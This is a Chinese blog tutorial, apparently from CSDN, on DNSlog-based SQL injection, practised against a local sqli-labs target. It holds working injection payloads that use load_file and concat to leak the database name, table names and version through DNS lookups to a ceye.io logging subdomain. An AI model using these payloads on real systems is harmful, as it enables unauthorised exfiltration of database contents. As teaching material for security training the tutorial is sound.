• SQL DNSlog注入详解


    今天继续给大家介绍Linux运维相关知识,本文主要内容是SQL DNSlog注入。

    免责声明:
    本文所介绍的内容仅做学习交流使用,严禁利用文中技术进行非法行为,否则造成一切严重后果自负!
    再次强调:严禁对未授权设备进行渗透测试!

    一、SQL DNSlog注入简介

    SQL Dnslog注入是一种特殊的SQL注入显示方式,我们都知道,不论是使用基于bool的SQL盲注,还是基于时间的SQL盲注,都有一个问题,即注入的时间比较慢。此外,还有一些非常特殊的应用场景,我们可以把我们的payload放到目标站点上执行,但是目标站点没有明显的回显,在这种情况下,我们就可以使用SQL DNSLog注入。
    DNSlog的SQL注入,指的是使用load_file函数,使得站点访问时加载我们指定的文件,该函数支持加载远程文件。这样,我们就可以将load_file()函数的参数设置成我们指定的站点,并且使用concat函数来执行我们想要探测的SQL语句,并且把SQL语句的执行结果作为load_file()函数访问站点的一部分,当我们发起DNS请求时,目标站点可以通过设置来记录这些信息,于是也就得到了SQL语句执行的结果。

    二、SQL DNSlog注入实战

    想要实现DNSLog注入,那么我们就必须先拥有一个能够正常进行DNS查询,并且能够把域名请求记录下来的服务器,http://ceye.io/就是一个可以实现并记录DNS域名查询结果,并且帮助我们实现DNSLog注入的网站。
    在这里插入图片描述
    我们在注册该站点后,该站点会给予我们一个子域名,如下图红线所示:
    在这里插入图片描述
    我们只要发起对该子域名下的次级子域名的DNS访问请求,就可以借此被该站点记录,并且显示给我们。
    基于此,我们可以实现DNSLog注入了。
    我们使用sqli_lab作为靶场,该靶场原始网页如下所示:

    http://192.168.136.2/sqli/Less-1/?id=1
    
    • 1

    首先,我们可以构造DNSLog注入的payload,

    http://192.168.136.2/sqli/Less-1/?id=1' and load_file(concat('\\\\',(select database()),'.ubhdz9.ceye.io\\abc'))--+
    
    • 1

    在上述payload中,我们把select database()语句嵌入到了load_file()函数中,使其作为load_file()函数的一部分,使得该站点启用DNS查询。
    同理,我们可以构造其他形式的payload,例如查询数据库表名的payload:

    http://192.168.136.2/sqli/Less-1/?id=1' and load_file(concat('\\\\',(select table_name from information_schema.tables where table_schema='security' limit 1,1),%27.ubhdz9.ceye.io\\abc'))--+
    
    • 1

    以及查询数据库版本的payload:

    http://192.168.136.2/sqli/Less-1/?id=1' and load_file(concat('\\\\',(select version()),'.ubhdz9.ceye.io\\abc'))--+
    
    • 1

    上述payload执行结果如下图所示:
    在这里插入图片描述
    从上图可以看出,我们的SQL DNSLog注入成功!
    原创不易,转载请说明出处:https://blog.csdn.net/weixin_40228200

  • 相关阅读:
    Windows编写批处理脚本.bat启动jar文件
    html制作一个酷炫的记事本(源码)
    JavaScript
    Unity中Shader的矩阵加减法
    Airtest-Selenium实操小课③:下载可爱猫猫图片
    一篇文章教你学会ASP.Net Core LINQ基本操作
    Word控件Spire.Doc 【文本】教程(20) ;如何在 C#、VB.NET 下检索 Word 中所有 TextRanges 的样式名称
    [极客大挑战 2019]HardSQL-1
    Linux操作系统5:用户和组的管理
    车牌号识别(低级版)
  • 原文地址:https://blog.csdn.net/weixin_40228200/article/details/125994974